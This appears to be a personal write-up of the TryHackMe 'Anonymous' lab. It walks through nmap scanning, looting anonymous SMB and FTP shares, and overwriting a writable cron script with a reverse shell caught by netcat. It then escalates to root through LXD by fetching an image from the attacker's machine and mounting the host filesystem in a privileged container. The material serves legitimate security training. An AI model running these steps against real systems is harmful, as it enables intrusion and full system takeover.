# Anonymous

**Room Link:** [https://tryhackme.com/room/anonymous](https://tryhackme.com/room/anonymous)



### Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F3NPs4qEHbGDHGznEyejD%2Fimage.png?alt=media&#x26;token=948930b1-782b-475e-a1f5-80827ff351a4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FKXH4lUUfN4ZtasvdWV8X%2Fimage.png?alt=media&#x26;token=7cc017f2-e69a-4159-ab69-6c132006d906" alt=""><figcaption></figcaption></figure>



### Scan all ports

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FJKqlD4HVppEuzVzSJWU0%2Fimage.png?alt=media&#x26;token=3d878448-b7bd-4e4f-ab55-14d1333e9a5a" alt=""><figcaption></figcaption></figure>



### **TCP/445  - SMB**

**Kali**

```
smbclient -L //$VICTIM/
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FTnJ2kQGpYaKXEbg4z459%2Fimage.png?alt=media&#x26;token=8ec3e01d-d62a-49c1-83ef-d63c39c53aee" alt=""><figcaption></figcaption></figure>

There were just two dog pics, probably not interesting.

**Kali**

```
mkdir loot
cd loot
smbclient \\\\$VICTIM\\pics
prompt
mget *
```



### TCP/21 - **FTP**

Login using anonymous and no pass

**Kali**

```
ftp $VICTIM 21
binary
passive
cd scripts
mget *
```

## Initial Shell

There were these 3 files

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F5MLDA8wpB413SMiaryxk%2Fimage.png?alt=media&#x26;token=fe82e7a9-3f4d-4e86-87f1-737985e27581" alt=""><figcaption></figcaption></figure>

I modified clean.sh to have a reverse shell back to my kali

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FCLWGooxusiUXKPx93lRp%2Fimage.png?alt=media&#x26;token=e98de1f2-0bda-4718-833f-470736b58698" alt=""><figcaption></figcaption></figure>

**Kali #1**

```
nc -lvnp 1337
```

**Kali #2**

```
ftp $VICTIM 21
binary
passive
cd scripts
put clean.sh
```

After a few minutes the script was ran and I had a shell.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FvFBNFdozex79kKUML8s3%2Fimage.png?alt=media&#x26;token=cf78ad43-83b9-498d-bd3f-364d26864daf" alt=""><figcaption></figcaption></figure>

Get autocomplete

<pre><code><strong>python -c 'import pty; pty.spawn("/bin/bash")'
</strong>ctrl + Z
stty raw -echo;fg
</code></pre>



## Privilege Escalation&#x20;

Followed this link on lxd privilege escalation&#x20;

**Link:** [https://www.hackingarticles.in/lxd-privilege-escalation/](https://www.hackingarticles.in/lxd-privilege-escalation/)

**Victim**

```
id
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FhqYK2XLllEvTWhQm0o4l%2Fimage.png?alt=media&#x26;token=d422247e-641f-425b-9110-c0aa98778139" alt=""><figcaption></figcaption></figure>

**Kali**

```
git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
python2 -m SimpleHTTPServer 81
```

**Note:** The command lxd init was to resolve a storage pool area issue, it may not always be needed.

**Victim**

```
cd /tmp
wget http://$KALI/alpine-v3.18-x86_64-20231111_1929.tar.gz
lxc image import ./alpine-v3.18-x86_64-20231111_1929.tar.gz --alias myimage
lxd init
lxc image list
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
id
```
